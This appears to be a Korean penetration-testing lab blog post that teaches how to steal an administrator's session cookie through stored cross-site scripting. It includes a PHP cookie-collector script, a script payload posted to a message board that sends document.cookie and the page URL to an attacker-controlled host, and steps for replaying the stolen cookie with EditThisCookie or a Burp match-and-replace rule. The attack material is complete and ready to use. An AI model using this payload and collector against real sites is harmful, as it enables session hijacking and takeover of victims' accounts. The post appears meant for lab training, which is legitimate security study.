실습> XSS 이용한 쿠키값 탈취
크로스 사이트 스크립팅
1. Attacker가 게시판에 글을 남긴다.
2. Victim이 관리자로 로그인해서 게시글을 확인한다.
3. 확인과정에서 XSS 가 실행되서 Attacker 에게 쿠키를 전송한다.
4. Attacker 탈취한 쿠키를 가지고 관리자 권한으로 세션을 훔쳐서 로그인한다.
Host OS에서 설정
- 크롬의 일반 모드 : 관리자
- 크롬의 시크릿 모드 : 공격자
Kali Linux : 공격자
1. 공격 준비 (Kali Linux 에서 설정)
Attacker# /etc/init.d/apache2 start
Attacker# cd /var/www/html
Attacker# vi xss_attack.php
shift + insert 키로 Kali Linux 에서 붙여넣기
| <?php // print_r($_GET); $file = "attack.txt"; // 쿠키값이 저장될 파일 명 $fp = fopen($file, "a"); // 파일 오픈 $today=mktime(); #현재 서버의 시간을 timestamp 값으로 가져온다. $today_time = date('Y년m월d일H시 i분 s초', $today); # 날짜를 변경한다. fputs($fp, $today_time . " "); // 날짜와 시간을 저장한다. fputs($fp, $_GET['u'] . " "); // URL 값을 저장한다. fputs($fp, $_GET['c'] . "\n"); // COOKIE 값을 저장한다. fclose($fp); // 파일 닫기 (저장) ?> <script> self.close(); // 창 닫기 </script> |
Attacker# touch attack.txt
Attacker# chmod 777 attack.txt
Attacker# tail -f attack.txt
2. 로그인
관리자와 공격자가 브라우저로 로그인한다.
크롬의 일반 모드 : 관리자로 로그인한다. (admin/111111)
크롬의 시크릿 모드 : 공격자로 로그인한다. (blackhat/111111)
3. 공격코드 주입
Attacker 가 게시판에 글을 남길 때 공격코드도 함께 저장한다.
document.cookie : 쿠키값
location.href : URL 주소
alert() : 경고창을 띄우는 함수
-- 연습 --
이름 : blackhat
제목 : 관리자님 리눅스가 뭐에요 ?
비밀번호 : 1
내용 :
안녕하세요...
리눅스 뭔지 궁금해요...
<script>
alert(document.cookie);
alert(location.href);
</script>
아래 코드는 실제 XSS 공격코드
-- 실전 --
이름 : blackhat
제목 : 관리자님 리눅스가 뭐에요 ?
비밀번호 : 1
내용 :
안녕하세요...
리눅스 뭔지 궁금해요...
<script>var c1=document.cookie;var u1=location.href;var url="http://192.168.101.102/xss_attack.php?c="+c1+"&u="+u1;open(url, "", "width=0,height=0;"); </script>
4. 게시글 읽기
로그인된 관리자가 blackhat 사용자가 저장한 게시글을 확인한다. (반드시 로그인을 하고 글을 본다.)
글을 보면 팝업창이 차단되므로 팝업창을 허용하고 다시 글을 본다.
글을 보는 순간 공격자쪽으로 URL주소와 세션ID가 전송된다.
공격자는 URL주소와 세션ID를 받아서 파일로 저장한다.
5. 권한 상승
관리자의 쿠키값을 이용해서 관리자로 권한을 상승한다.
[쿠키 값 변경 두 가지 방법]
EditThisCookie
- 일반 모드에서 쿠키값을 복사해서 시크릿 모드의 쿠키값으로 덮어쓴다.
수정 전 시크릿 모드의 쿠키값 : fd2atgt3eqnqjq062q28avjc45
수정 후 시크릿 모드의 쿠기값 : 3sb11omajcdfuae26pu4qfuen3
burp
Proxy → Option 탭 → 하위 "Match and Replace" 항목 →
Add 클릭 → Type(Request header),
Match(Cookie:공백*.*), Replace(Cookie:공백[피해자 Session Cookie]), Regex match 체크
'Linux > 모의해킹' 카테고리의 다른 글
| reflected XSS (0) | 2022.01.21 |
|---|---|
| stored XSS (0) | 2022.01.21 |
| 웹 세션 Hijacking (0) | 2022.01.21 |
| session 이해하기 (0) | 2022.01.21 |
| 터미널에서 로그인 / 로그아웃 분석하기 (0) | 2022.01.21 |